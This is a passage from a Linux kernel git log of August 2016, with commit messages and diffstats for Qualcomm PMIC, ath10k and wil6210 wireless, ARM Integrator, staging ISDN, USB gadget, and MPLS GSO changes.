Reviewed-by: Daniel Vetter drivers/gpu/drm/i915/intel_dp.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit ddc085d44dd001e65eecd0a8bf05064bff063668 Author: Neil Armstrong Date: Thu Aug 11 15:16:46 2016 +0200 regulator: qcom_rpm-regulator: Add support for pm8018 rpm regulator In order to support the Qualcomm MDM9615 SoC, add support for the PM8018 RPM regulator in the qcom_rpm-regulator driver. Signed-off-by: Neil Armstrong Acked-by: Mark Brown Signed-off-by: Lee Jones Documentation/devicetree/bindings/mfd/qcom-rpm.txt | 14 +++++ drivers/regulator/qcom_rpm-regulator.c | 66 ++++++++++++++++++++++ 2 files changed, 80 insertions(+) commit eb87a669dd4a79fdbca14c402fdbcdb8695739ff Author: Neil Armstrong Date: Thu Aug 11 15:16:45 2016 +0200 mfd: qcom-rpm: Add support for pm8018 RPM Regulator In order to support the Qualcomm MDM9615 SoC, add support for the RPM regulator entries in the qcom-rpm driver. Signed-off-by: Neil Armstrong Acked-by: Bjorn Andersson Signed-off-by: Lee Jones Documentation/devicetree/bindings/mfd/qcom-rpm.txt | 1 + drivers/mfd/qcom_rpm.c | 51 ++++++++++++++++++++++ include/dt-bindings/mfd/qcom-rpm.h | 22 ++++++++++ 3 files changed, 74 insertions(+) commit 08655bca2712880c9f30c8f3f8fb50e010920e74 Author: Neil Armstrong Date: Thu Aug 11 15:16:44 2016 +0200 rtc: rtc-pm8xxx: Add support for pm8018 rtc In order to support RTC on Qualcomm MDM9615 SoC, add support for the pm8018 rtc in rtc-pm8xxx driver. Signed-off-by: Neil Armstrong Reviewed-by: Bjorn Andersson Acked-by: Alexandre Belloni Signed-off-by: Lee Jones Documentation/devicetree/bindings/mfd/qcom-pm8xxx.txt | 1 + drivers/rtc/rtc-pm8xxx.c | 1 + 2 files changed, 2 insertions(+) commit c7ef587bd4abe75705197fed7c1aac899624ca81 Author: Neil Armstrong Date: Thu Aug 11 15:16:43 2016 +0200 mfd: pm8921: Add support for pm8018 In order to support the Qualcomm MDM9615 PMIC, add support for the pm8018 in pm8921 MFD driver. Signed-off-by: Neil Armstrong Reviewed-by: Bjorn Andersson Signed-off-by: Lee Jones drivers/mfd/pm8921-core.c | 1 + 1 file changed, 1 insertion(+) commit 13cd9f758a555d1ab547b0dbed3f9d1e529230c3 Author: Lior David Date: Mon Aug 22 12:42:22 2016 +0300 wil6210: extract firmware version from file header Currently the FW version is taken from the sw_version field of the FW ready event. This version is based on internal version control revision and it is difficult to map to actual FW version. Fix this by using the actual FW version stored in the FW file header record. Signed-off-by: Lior David Signed-off-by: Maya Erez Signed-off-by: Kalle Valo drivers/net/wireless/ath/wil6210/debugfs.c | 28 +++++++++++++++++++++++++++- drivers/net/wireless/ath/wil6210/fw.h | 3 +++ drivers/net/wireless/ath/wil6210/fw_inc.c | 7 +++++++ drivers/net/wireless/ath/wil6210/main.c | 1 + drivers/net/wireless/ath/wil6210/netdev.c | 2 ++ drivers/net/wireless/ath/wil6210/wil6210.h | 3 ++- drivers/net/wireless/ath/wil6210/wmi.c | 8 ++++---- 7 files changed, 46 insertions(+), 6 deletions(-) commit 12bace75704ec0d64621be6ebf6e51772ce2cb0f Author: Lior David Date: Mon Aug 22 12:42:21 2016 +0300 wil6210: extract firmware capabilities from FW file When driver is loaded, extract a capabilities record from the FW file. This record contains bits indicating which optional features are supported by this FW. The driver can use this information to determine which functionality to support and/or expose to user space. The extraction is done before wiphy structure is registered, because the capabilities can affect information published by the this structure. Signed-off-by: Lior David Signed-off-by: Maya Erez Signed-off-by: Kalle Valo drivers/net/wireless/ath/wil6210/debugfs.c | 25 +++++++++ drivers/net/wireless/ath/wil6210/fw.h | 11 +++- drivers/net/wireless/ath/wil6210/fw_inc.c | 85 +++++++++++++++++++++-------- drivers/net/wireless/ath/wil6210/main.c | 4 +- drivers/net/wireless/ath/wil6210/pcie_bus.c | 4 ++ drivers/net/wireless/ath/wil6210/wil6210.h | 4 +- 6 files changed, 106 insertions(+), 27 deletions(-) commit 08989f9640a03939ec170916f80d371a8e3504b0 Author: Lior David Date: Mon Aug 22 12:42:20 2016 +0300 wil6210: align to latest auto generated wmi.h Align to latest version of the auto generated wmi file describing the interface with FW. Signed-off-by: Lior David Signed-off-by: Maya Erez Signed-off-by: Kalle Valo drivers/net/wireless/ath/wil6210/wmi.h | 292 +++++++++++++++++++++++++++++++++ 1 file changed, 292 insertions(+) commit 5ffae43208ec160e584117fabee2cddc5ad0e39a Author: Lior David Date: Mon Aug 22 12:42:19 2016 +0300 wil6210: fix protection of wil->scan_request Currently the places that check wil->scan_request and call cfg80211_scan_done are not consistently protected, so there is a risk that cfg80211_scan_done will be called with NULL scan_request, causing a kernel crash. Fix this by using p2p_wdev_mutex in few other places that access scan_request. This makes sense since scan_request may point to p2p_wdev, and it is not worth the extra complexity of adding a new mutex. Signed-off-by: Lior David Signed-off-by: Maya Erez Signed-off-by: Kalle Valo drivers/net/wireless/ath/wil6210/cfg80211.c | 3 +++ drivers/net/wireless/ath/wil6210/main.c | 4 ++++ drivers/net/wireless/ath/wil6210/wil6210.h | 2 +- drivers/net/wireless/ath/wil6210/wmi.c | 4 ++-- 4 files changed, 10 insertions(+), 3 deletions(-) commit bdb249fce9ad44aab340be3b7a77060114f7193b Author: Linus Walleij Date: Tue Aug 30 12:23:55 2016 +0200 ARM: integrator: read counter using syscon/regmap Look up the core module base address from the device tree and register a sched_clock() using the regmap to the core module on the Integrator/CP. MFD_SYSCON is selected by the arch so it is always available. This further makes it possible to remove one more static map. Signed-off-by: Linus Walleij arch/arm/mach-integrator/integrator_cp.c | 23 ++++++++++++++--------- 1 file changed, 14 insertions(+), 9 deletions(-) commit 359a3d38e69d3315bccf7485d40d1419823a1378 Author: Linus Walleij Date: Tue Aug 30 12:02:28 2016 +0200 ARM: integrator: cut down on static maps This removes all the unused static maps on the Integrator/AP and Integrator/CP and also take this opportunity to strip down a big list of unused #includes from each boardfile. Signed-off-by: Linus Walleij arch/arm/mach-integrator/integrator_ap.c | 30 ----------------------------- arch/arm/mach-integrator/integrator_cp.c | 33 -------------------------------- 2 files changed, 63 deletions(-) commit 33aa62b9a17e0547a3a69491a2e6af0baacbd939 Author: Linus Walleij Date: Tue Aug 30 10:45:27 2016 +0200 ARM: integrator: delete some auxdata There is just a few auxdata entries still needed on the Integrators: - UART RTS/CTS callbacks for Integrator/AP - MMC/SD special card detect quirk for Integrator/CP Delete the rest. Signed-off-by: Linus Walleij arch/arm/mach-integrator/integrator_ap.c | 6 ------ arch/arm/mach-integrator/integrator_cp.c | 12 ------------ 2 files changed, 18 deletions(-) commit e3f617602103ef674aec417d52f0cff145fc0599 Author: Linus Walleij Date: Mon Aug 29 11:30:18 2016 +0200 ARM: integrator: move CP CLCD display to DTS The Integrator/CP CLCD VGA display can now be registered fully from the device tree. Delete the board file code and add the display definition to the DTS. Signed-off-by: Linus Walleij arch/arm/boot/dts/integratorcp.dts | 37 ++++++++++++++++++++- arch/arm/mach-integrator/integrator_cp.c | 57 -------------------------------- 2 files changed, 36 insertions(+), 58 deletions(-) commit b2da116cbe46f55d34bcac3ae69206aeda5f11e1 Author: Linus Walleij Date: Thu Aug 4 16:24:38 2016 +0200 ARM: dts: add the core module clocks to Integrator/CP This adds the core and memory clocks to the Integrator/CP device tree. Signed-off-by: Linus Walleij arch/arm/boot/dts/integratorcp.dts | 37 +++++++++++++++++++++++++++---------- 1 file changed, 27 insertions(+), 10 deletions(-) commit 257417ec7485b8da4fe5cd9ae350c2bb19728150 Author: Linus Walleij Date: Thu Aug 4 16:17:08 2016 +0200 ARM: dts: Add the core module clocks to Integrator/AP This adds the clocks on the core module to the Integrator/AP board: a 24MHz chrystal, and two special-purpose ICST525 dividers, one used to clock the CPU core and another auxilary oscillator. Signed-off-by: Linus Walleij arch/arm/boot/dts/integratorap.dts | 29 ++++++++++++++++++++++++++++- 1 file changed, 28 insertions(+), 1 deletion(-) commit 49eb1efadc47f49b0f43a4725f116fa61aba206b Author: Linus Walleij Date: Mon Aug 22 11:16:57 2016 +0200 ARM: dts: add the Integrator/AP baseboard clocks The two clocks present on the Integrator/AP baseboard and accessible through its system controller is the PCIv3 bridge clock and the PCI bus clock. Define the proper device tree nodes for these. Signed-off-by: Linus Walleij arch/arm/boot/dts/integratorap.dts | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) commit e272b7eef54d1565739b91f332c49fcb13551da4 Author: Linus Walleij Date: Mon Aug 22 11:16:02 2016 +0200 ARM: dts: set the 24MHz xtal as parent of the UART clock This has no practical effect but reflects the actual clock hierarchy of the system. Signed-off-by: Linus Walleij arch/arm/boot/dts/integratorap.dts | 1 + 1 file changed, 1 insertion(+) commit 47b1848d9fde5daf102f599be6e589a1d3c8da7d Author: Michal Kazior Date: Fri Aug 19 13:37:43 2016 +0300 ath10k: fix spurious tx/rx during boot HW Rx filters and masks are not configured properly by firmware during boot sequences. The MAC_PCU_ADDR1 is set to 0s instead of 1s which allows the HW to ACK any frame that passes through MAC_PCU_RX_FILTER. The MAC_PCU_RX_FILTER itself is misconfigured on boot as well. The combination of these bugs ended up with the following manifestations: - "no channel configured; ignoring frame(s)!" warnings in the driver - spurious ACKs (transmission) on the air during firmware bootup sequences The former was a long standing and known bug originally though mostly harmless. However Marek recently discovered that this problem also involves ACKing *all* frames the HW receives (including beacons ;). Such frames are delivered to host and generate the former warning as well. This could be a problem with regulatory compliance in some rare cases (e.g. Taiwan which forbids transmissions on channel 36 which is the default bootup channel on 5Ghz band cards). The good news is that it'd require someone else to violate regulatory first to coerce our device to generate and transmit an ACK. The problem could be reproduced in a rather busy environment that has a lot of APs. The likelihood could be increased by injecting an msleep() of 5000 or longer immediately after ath10k_htt_setup() in ath10k_core_start(). The reason why the former warnings were only showing up seldom is because the device was either quickly reset again (i.e. during firmware probing) or wmi vdev was created (which fixes hw and fw states). It is technically possible for host driver to override adequate hw registers however this can't work reliably because the bug root cause lies in incorrect firmware state on boot (internal structure used to program MAC_PCU_ADDR1 is not properly initialized) and only vdev create/delete events can fix it. This is why the patch takes dummy vdev approach. This could be fixed in firmware as well but having this fixed in driver is more robust, most notably when thinking of users of older firmware such as 999.999.0.636. Reported-by: Marek Puzyniak Signed-off-by: Michal Kazior Signed-off-by: Kalle Valo drivers/net/wireless/ath/ath10k/core.c | 68 ++++++++++++++++++++++++++++++++++ 1 file changed, 68 insertions(+) commit 20ddca21dcf84fcae063f2f75f49cfd545bf5237 Author: Michal Kazior Date: Fri Aug 19 13:37:42 2016 +0300 ath10k: add wmi command barrier utility This allows placing command barriers for explicit serializing and synchronizing state. Useful for future driver development. Signed-off-by: Michal Kazior Signed-off-by: Kalle Valo drivers/net/wireless/ath/ath10k/core.h | 1 + drivers/net/wireless/ath/ath10k/wmi.c | 31 +++++++++++++++++++++++++++++++ drivers/net/wireless/ath/ath10k/wmi.h | 1 + 3 files changed, 33 insertions(+) commit 84d4911b7184dfa911ea089c2d6728b994de6cd9 Author: Michal Kazior Date: Fri Aug 19 13:37:42 2016 +0300 ath10k: implement wmi echo event Will be useful for implementing command barriers. Signed-off-by: Michal Kazior Signed-off-by: Kalle Valo drivers/net/wireless/ath/ath10k/wmi-ops.h | 12 ++++++++++++ drivers/net/wireless/ath/ath10k/wmi-tlv.c | 28 ++++++++++++++++++++++++++++ drivers/net/wireless/ath/ath10k/wmi.c | 29 ++++++++++++++++++++++++++++- drivers/net/wireless/ath/ath10k/wmi.h | 4 ++++ 4 files changed, 72 insertions(+), 1 deletion(-) commit e25854f2404cc92882e42fe8002b0fd75a77d842 Author: Michal Kazior Date: Fri Aug 19 13:37:41 2016 +0300 ath10k: implement wmi echo command Will be useful for implementing command barriers. Signed-off-by: Michal Kazior Signed-off-by: Kalle Valo drivers/net/wireless/ath/ath10k/wmi-ops.h | 17 +++++++++++++++++ drivers/net/wireless/ath/ath10k/wmi-tlv.c | 29 +++++++++++++++++++++++++++++ drivers/net/wireless/ath/ath10k/wmi.c | 23 +++++++++++++++++++++++ 3 files changed, 69 insertions(+) commit 5d2b7c4a9dd649316e00bd320a05341d4b00ee33 Author: Anson Jacob Date: Fri Aug 26 23:23:57 2016 -0400 staging: i4l: act2000: capi: Fix checkpatch warning Fix checkpath.pl warning: trailing statements should be on next line open brace '{' following function declarations go on the next line Signed-off-by: Anson Jacob Signed-off-by: Greg Kroah-Hartman drivers/staging/i4l/act2000/capi.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit 8a0b09d90574aef3bf6269f03a5c7a9d005474de Author: Sudip Mukherjee Date: Mon Aug 22 22:04:58 2016 +0530 staging: i4l: icn: fix incorrect type of arguments sparse was warning about incorrect type of argument: drivers/staging/i4l/icn/icn.c:1048:49: warning: incorrect type in argument 2 (different address spaces) drivers/staging/i4l/icn/icn.c:1048:49: expected void const [noderef] *from drivers/staging/i4l/icn/icn.c:1048:49: got unsigned char const [usertype] *buf drivers/staging/i4l/icn/icn.c:1476:38: warning: incorrect type in argument 1 (different address spaces) drivers/staging/i4l/icn/icn.c:1476:38: expected unsigned char const [usertype] *buf drivers/staging/i4l/icn/icn.c:1476:38: got unsigned char const [noderef] [usertype] *buf The function icn_writecmd() was used to copy from userspace and also from the kernelspace. Add another argument to the function to have two separate pointers, one for the userspace and one for the kernelspace. Based on the value of user as passed from the caller we use one of the two pointers. Signed-off-by: Sudip Mukherjee Signed-off-by: Greg Kroah-Hartman drivers/staging/i4l/icn/icn.c | 35 +++++++++++++++++++++-------------- 1 file changed, 21 insertions(+), 14 deletions(-) commit 1b30c21fd8abeb58e852c2a4dbaf6b4f45addb64 Author: Sudip Mukherjee Date: Mon Aug 22 22:04:57 2016 +0530 staging: i4l: icn: remove blank lines Blank lines are not needed after starting brace or before a closing brace. Signed-off-by: Sudip Mukherjee Signed-off-by: Greg Kroah-Hartman drivers/staging/i4l/icn/icn.c | 3 --- 1 file changed, 3 deletions(-) commit bd70aef0a8b776bba206f693c3d1078f944d825b Author: Sudip Mukherjee Date: Mon Aug 22 22:04:56 2016 +0530 staging: i4l: icn: space not needed after cast No need provide a space after a typecast. Signed-off-by: Sudip Mukherjee Signed-off-by: Greg Kroah-Hartman drivers/staging/i4l/icn/icn.c | 66 +++++++++++++++++++++---------------------- 1 file changed, 33 insertions(+), 33 deletions(-) commit eb07d11ea215027426d60b7d0604acf92bc27799 Author: Sudip Mukherjee Date: Mon Aug 22 22:04:55 2016 +0530 staging: i4l: act2000: remove unused macro The macro EVAL_PLCI and MAKE_PLCI are not being used. Remove them. But keep the comment preceding them as it contains information regarding message format. Signed-off-by: Sudip Mukherjee Signed-off-by: Greg Kroah-Hartman drivers/staging/i4l/act2000/capi.h | 7 ------- 1 file changed, 7 deletions(-) commit f775252f4bae4123e5e76ad4ccefa6e42d1856b9 Author: Sudip Mukherjee Date: Mon Aug 22 22:04:54 2016 +0530 staging: i4l: act2000: remove unused argument The macro EVAL_NCCI was only being used in capi.c and the argument controller was not used. Remove the argument and at the same time remove the variable which now becomes unused. Signed-off-by: Sudip Mukherjee Signed-off-by: Greg Kroah-Hartman drivers/staging/i4l/act2000/capi.c | 3 +-- drivers/staging/i4l/act2000/capi.h | 3 +-- 2 files changed, 2 insertions(+), 4 deletions(-) commit b91796e86b30ffa8e01f4b06f7a81e724c760b6d Author: Sudip Mukherjee Date: Tue Aug 23 19:43:21 2016 +0530 staging: i4l: icn: use memdup_user Its better to use memdup_user which does the same thing which this code has implemented. Also removed a related warning as we will be warned if allocation fails. Suggested-by: Fengguang Wu Signed-off-by: Sudip Mukherjee Signed-off-by: Greg Kroah-Hartman drivers/staging/i4l/icn/icn.c | 15 ++++----------- 1 file changed, 4 insertions(+), 11 deletions(-) commit ebce1a5e3a0e2c035f201c21ae9f403b42efcbcb Author: Tamizh chelvam Date: Fri Aug 19 13:37:40 2016 +0300 ath10k: add testmode support for 10.4 firmware This patch adds testmode support for 10.4 based chipsets and added code swap support for UTF binary. Signed-off-by: Tamizh chelvam Signed-off-by: Kalle Valo drivers/net/wireless/ath/ath10k/testmode.c | 23 +++++++++++++++++++++++ 1 file changed, 23 insertions(+) commit d912fc094bc458c7df5e1d8eadf74a35ffc07380 Author: Tamizh chelvam Date: Fri Aug 19 13:37:40 2016 +0300 ath10k: handle testmode events for 10.2 and 10.4 based firmware Currently testmode events for 10.x firmware are processed from 10.1 wmi event processing. This patch is used to handle testmode events in 10.2 and 10.4 based firmware. Signed-off-by: Tamizh chelvam Signed-off-by: Kalle Valo drivers/net/wireless/ath/ath10k/wmi.c | 26 ++++++++++++++++++++++++++ 1 file changed, 26 insertions(+) commit 5459c5d47608e7d66c89face4bb6084d0c4136a3 Author: Tamizh chelvam Date: Fri Aug 19 13:37:39 2016 +0300 ath10k: move firmware_swap_code_seg_info to ath10k_fw_file Preparation to make use of firmware_swap_code_seg_info for UTF binary. Signed-off-by: Tamizh chelvam Signed-off-by: Kalle Valo drivers/net/wireless/ath/ath10k/core.c | 6 +++--- drivers/net/wireless/ath/ath10k/core.h | 13 +++++++++---- drivers/net/wireless/ath/ath10k/swap.c | 26 ++++++++++++++------------ drivers/net/wireless/ath/ath10k/swap.h | 11 ++++++++--- 4 files changed, 34 insertions(+), 22 deletions(-) commit d7ec05cbd10a7c2e45353394a1937641beb3142c Author: Milo Kim Date: Wed Aug 31 15:08:47 2016 +0900 ARM: dts: exynos: Enable HDMI for Arndale Octa board * GPIO for HDMI hot plug detect GPX3_7 is used. The HPD awareness is done when the GPIO is active high. * Enable HDMI block in Exynos5420 HDMI VDD and PLL consume 1.0V LDO6 (PVDD_ANAIP_1V0) and HDMI oscillator requires 1.8V LDO7 (PVDD_ANAIP_1V8). * Support HDMI display data channel I2C #2 is assigned for the HDMI DDC. It enables the EDID access. Cc: Kukjin Kim Cc: Krzysztof Kozlowski Cc: Rob Herring Cc: linux-arm-kernel@lists.infradead.org Cc: linux-samsung-soc@vger.kernel.org Cc: linux-kernel@vger.kernel.org Signed-off-by: Milo Kim Reviewed-by: Andrzej Hajda Signed-off-by: Krzysztof Kozlowski arch/arm/boot/dts/exynos5420-arndale-octa.dts | 13 +++++++++++++ 1 file changed, 13 insertions(+) commit 1c07b20eaa0e001b3f7811cb3e1dafc4f00648c3 Author: Robert Baldyga Date: Mon Aug 29 13:39:00 2016 -0700 usb: dwc2: gadget: free TX FIFO after killing requests As kill_all_requests() potentially flushes TX FIFO, we should should free FIFO after calling it. Otherwise FIFO could stay unflushed properly. Signed-off-by: Robert Baldyga Signed-off-by: John Youn Signed-off-by: Felipe Balbi drivers/usb/dwc2/gadget.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 21f3bb52986c5f0ab74d350486de38fafff6ddef Author: Robert Baldyga Date: Mon Aug 29 13:38:57 2016 -0700 usb: dwc2: gadget: remove dead code from dwc2_hsotg_ep_enable() Since FIFO is always freed in dwc2_hsotg_ep_disable(), ep->fifo_index is always 0 in dwc2_hsotg_ep_enable(), hence code inside if() block is never executed. Signed-off-by: Robert Baldyga Signed-off-by: John Youn Signed-off-by: Felipe Balbi drivers/usb/dwc2/gadget.c | 13 +------------ 1 file changed, 1 insertion(+), 12 deletions(-) commit ba48eab8866ca71e7978380cf7564cf8240f28f8 Author: Robert Baldyga Date: Mon Aug 29 13:38:55 2016 -0700 usb: dwc2: gadget: change variable name to more meaningful Since we handle FIFOs and endpoint separately, using variable named 'ep' in context of FIFO is misleading, hence we rename it to 'fifo'. Signed-off-by: Robert Baldyga Signed-off-by: John Youn Signed-off-by: Felipe Balbi drivers/usb/dwc2/gadget.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit aa381a7259c3f53727bcaa8c5f9359e940a0e3fd Author: Robert Baldyga Date: Mon Aug 29 13:38:52 2016 -0700 usb: dwc2: gadget: fix TX FIFO size and address initialization According to DWC2 documentation, DPTxFSize field of DPTXFSIZn register is read only, which means that software cannot change FIFO size. Register description says: "The value of this register is the Largest Device Mode Periodic Tx Data FIFO Depth (parameter OTG_TX_DPERIO_DFIFO_DEPTH_n), as specified during coreConsultant configuration." That means, that we have to setup only FIFO start addresses (DPTxFStAddr), taking into account reset values of DPTxFSize. Initialize FIFO start addresses properly and remove unneeded core related to incorrect FIFO size initialization. Signed-off-by: Robert Baldyga Signed-off-by: John Youn Signed-off-by: Felipe Balbi drivers/usb/dwc2/core.h | 7 ------- drivers/usb/dwc2/gadget.c | 47 ++++++++--------------------------------------- 2 files changed, 8 insertions(+), 46 deletions(-) commit ad674a15249e7d800162858e49272877a782ec40 Author: Robert Baldyga Date: Mon Aug 29 13:38:50 2016 -0700 usb: dwc2: gadget: use ep->fifo_index in context of FIFO registers In context of FIFO registers we use ep->fifo_index instead of ep->index. Signed-off-by: Robert Baldyga Signed-off-by: John Youn Signed-off-by: Felipe Balbi drivers/usb/dwc2/gadget.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit da7b895d518cc1753ee5f4b7f2158087282d1a65 Author: Romain Izard Date: Mon Aug 29 12:22:29 2016 +0300 usb: gadget: configfs: log function unbinding as debug Disabling USB gadget functions configured through configfs is something that can happen in normal use cases. Keep the existing log for this type of event, but only as debug, not as an error. Signed-off-by: Romain Izard Signed-off-by: Felipe Balbi drivers/usb/gadget/configfs.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4fbac5206afd01b717d4bdc58793d471f3391b4b Author: Petr Cvek Date: Wed Aug 17 12:36:57 2016 +0200 usb: gadget: uvc: Add missing call for additional setup data Some UVC commands require additional data (non zero uvc->event_length). Add usb_ep_queue() call, so uvc_function_ep0_complete() can be called and send received data to the userspace. Signed-off-by: Petr Cvek Signed-off-by: Felipe Balbi drivers/usb/gadget/function/f_uvc.c | 7 +++++++ 1 file changed, 7 insertions(+) commit ee5acabf5805612c72084276e0c215367a042d71 Author: Yoshihiro Shimoda Date: Mon Aug 22 17:48:28 2016 +0900 usb: renesas_usbhs: set quirk_avoids_skb_reserve if USB-DMAC is used This patch sets the quirk_avoids_skb_reserve flag to improve performance of a network gadget driver (e.g. f_ncm.c) if USB-DMAC is used. For example (on r8a7795 board + f_ncm.c + iperf udp mode / receiving): - without this patch: 90.3 Mbits/sec - with this patch: 273 Mbits/sec Signed-off-by: Yoshihiro Shimoda Signed-off-by: Felipe Balbi drivers/usb/renesas_usbhs/mod_gadget.c | 2 ++ 1 file changed, 2 insertions(+) commit c4824f11fe07835c63209fb035f03f8f82e12827 Author: Yoshihiro Shimoda Date: Mon Aug 22 17:48:27 2016 +0900 usb: gadget: f_ncm: add support for no_skb_reserve This patch adds to support no_skb_reserve function to improve performance for some platforms. About the detail, please refer to the commit log of "quirk_avoids_skb_reserve" in include/linux/usb/gadget.h. Signed-off-by: Yoshihiro Shimoda Signed-off-by: Felipe Balbi drivers/usb/gadget/function/f_ncm.c | 2 ++ 1 file changed, 2 insertions(+) commit 05f6b0ff68429bb7c6b84b35e71b522c3bae76ae Author: Yoshihiro Shimoda Date: Mon Aug 22 17:48:26 2016 +0900 usb: gadget: u_ether: add a flag to avoid skb_reserve() calling This patch adds a flag "no_skb_reserve" in struct eth_dev. So, if a peripheral driver sets the quirk_avoids_skb_reserve flag, upper network gadget drivers (e.g. f_ncm.c) can avoid skb_reserve() calling using the flag as well. Signed-off-by: Yoshihiro Shimoda Signed-off-by: Felipe Balbi drivers/usb/gadget/function/u_ether.c | 5 ++++- drivers/usb/gadget/function/u_ether.h | 1 + 2 files changed, 5 insertions(+), 1 deletion(-) commit 60e7396f820fa67a007f2a2eb5d97d3e77a74881 Author: Yoshihiro Shimoda Date: Mon Aug 22 17:48:25 2016 +0900 usb: gadget: add a new quirk to avoid skb_reserve in u_ether.c Some platforms (e.g. USB-DMAC on R-Car SoCs) has memory alignment restriction. If memory alignment is not match, the usb peripheral driver decides not to use the DMA controller. Then, the performance is not good. In the case of u_ether.c, since it calls skb_reserve() in rx_submit(), it is possible to cause memory alignment mismatch. So, this patch adds a new quirk "quirk_avoids_skb_reserve" to avoid skb_reserve() calling in u_ether.c to improve performance. A peripheral driver will set this flag and network gadget drivers (e.g. f_ncm.c) will reference the flag via gadget_avoids_skb_reserve(). Signed-off-by: Yoshihiro Shimoda Signed-off-by: Felipe Balbi include/linux/usb/gadget.h | 13 +++++++++++++ 1 file changed, 13 insertions(+) commit a00c9791a3e4f625840f1f0507ad3f191310abae Author: Colin Ian King Date: Wed Aug 24 07:44:19 2016 +0100 usb: gadget: net2280: fix typo: "Inavlid" -> "Invalid" trivial typo fix in dev_err message Signed-off-by: Colin Ian King Signed-off-by: Felipe Balbi drivers/usb/gadget/udc/net2280.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit aae819e1bd50195c3adcac337735415cef48b6ba Author: Yoshihiro Shimoda Date: Wed Aug 24 16:39:53 2016 +0900 usb: renesas_usbhs: add a compatible string for r8a7796 This patch adds support for r8a7796 (R-Car M3-W). Acked-by: Geert Uytterhoeven Acked-by: Rob Herring Signed-off-by: Yoshihiro Shimoda Signed-off-by: Felipe Balbi Documentation/devicetree/bindings/usb/renesas_usbhs.txt | 1 + drivers/usb/renesas_usbhs/common.c | 4 ++++ 2 files changed, 5 insertions(+) commit 84fd1b191a9468dbb2e790fbc394378afc43462e Author: Arnd Bergmann Date: Fri Aug 26 17:37:53 2016 +0200 qede: hide 32-bit compile warning The addition of the per-queue statistics introduced a harmless warning on all 32-bit architectures: drivers/net/ethernet/qlogic/qede/qede_ethtool.c: In function 'qede_get_ethtool_stats': drivers/net/ethernet/qlogic/qede/qede_ethtool.c:244:31: error: cast from pointer to integer of different size [-Werror=pointer-to-int-cast] buf[cnt++] = QEDE_TQSTATS_DATA(edev, ^ drivers/net/ethernet/qlogic/qede/qede_ethtool.c:244:22: error: cast to pointer from integer of different size [-Werror=int-to-pointer-cast] buf[cnt++] = QEDE_TQSTATS_DATA(edev, ^ This changes the cast to 'void *' to shut up the warning, which avoids the assumptions on the size of the pointer type. Signed-off-by: Arnd Bergmann Fixes: 68db9ec2df07 ("qede: Add support for per-queue stats.") Signed-off-by: David S. Miller drivers/net/ethernet/qlogic/qede/qede_ethtool.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 1ddcf41ff3ee790d19978f7bee1ab76a77a5eb7b Author: Arnd Bergmann Date: Fri Aug 26 17:30:29 2016 +0200 ravb: avoid unused function warnings When CONFIG_PM_SLEEP is disabled, we get a couple of harmless warnings: drivers/net/ethernet/renesas/ravb_main.c:2117:12: error: 'ravb_resume' defined but not used [-Werror=unused-function] drivers/net/ethernet/renesas/ravb_main.c:2104:12: error: 'ravb_suspend' defined but not used [-Werror=unused-function] The simplest solution here is to replace the #ifdef with __maybe_unused annotations, which lets the compiler do the right thing by itself. Signed-off-by: Arnd Bergmann Fixes: 0184165b2f42 ("ravb: add sleep PM suspend/resume support") Acked-by: Sergei Shtylyov Signed-off-by: David S. Miller drivers/net/ethernet/renesas/ravb_main.c | 14 ++++---------- 1 file changed, 4 insertions(+), 10 deletions(-) commit 7ba9d103466e6c8568fae6db1e79bbfcc8f4a680 Merge: 4185249 607fca9 Author: David S. Miller Date: Tue Aug 30 22:27:18 2016 -0700 Merge branch 'mpls-fragmentation-and-gso-fixes' David Ahern says: ==================== net: mpls: fragmentation and gso fixes for locally originated traffic This series fixes mtu and fragmentation for tunnels using lwtunnel output redirect, and fixes GSO for MPLS for locally originated traffic reported by Lennert Buytenhek. A follow on series will address fragmentation and GSO for forwarded MPLS traffic. Hardware offload of GSO with MPLS also needs to be addressed. Simon: Can you verify this works with OVS for single and multiple labels? v4 - more updates to mpls_gso_segment per Alex's comments (thanks, Alex) - updates to teaching OVS about marking MPLS labels as the network header v3 - updates to mpls_gso_segment per Alex's comments - dropped skb->encapsulation = 1 from mpls_xmit per Alex's comment v2 - consistent use of network_header in skb to fix GSO for MPLS - update MPLS code in OVS to network_header and inner_network_header ==================== Tested-by: Simon Horman Signed-off-by: David S. Miller commit 607fca9acfb62a9caf7bd46771ecbc4d8fec7388 Author: David Ahern Date: Wed Aug 24 20:10:45 2016 -0700 net: veth: Set features for MPLS veth does not really transmit packets only moves the skb from one netdev to another so gso and checksum is not really needed. Add the features to mpls_features to get the same benefit and performance with MPLS as without it. Reported-by: Lennert Buytenhek Signed-off-by: David Ahern Signed-off-by: David S. Miller drivers/net/veth.c | 1 + 1 file changed, 1 insertion(+) commit 48d2ab609b6bbecb7698487c8579bc40de9d6dfa Author: David Ahern Date: Wed Aug 24 20:10:44 2016 -0700 net: mpls: Fixups for GSO As reported by Lennert the MPLS GSO code is failing to properly segment large packets. There are a couple of problems: 1. the inner protocol is not set so the gso segment functions for inner protocol layers are not getting run, and 2 MPLS labels for packets that use the "native" (non-OVS) MPLS code are not properly accounted for in mpls_gso_segment. The MPLS GSO code was added for OVS. It is re-using skb_mac_gso_segment to call the gso segment functions for the higher layer protocols. That means skb_mac_gso_segment is called twice -- once with the network protocol set to MPLS and again with the network protocol set to the inner protocol. This patch sets the inner skb protocol addressing item 1 above and sets the network_header and inner_network_header to mark where the MPLS labels start and end. The MPLS code in OVS is also updated to set the two network markers. >From there the MPLS GSO code uses the difference between the network header and the inner network header to know the size of the MPLS header that was pushed. It then pulls the MPLS header, resets the mac_len and protocol for the inner protocol and then calls skb_mac_gso_segment to segment the skb. Afterward the inner protocol segmentation is done the skb protocol is set to mpls for each segment and the network and mac headers restored. Reported-by: Lennert Buytenhek Signed-off-by: David Ahern Signed-off-by: David S. Miller net/mpls/mpls_gso.c | 40 +++++++++++++++++++++++++++++----------- net/mpls/mpls_iptunnel.c | 4 ++++ net/openvswitch/actions.c | 9 +++++++-- 3 files changed, 40 insertions(+), 13 deletions(-) commit 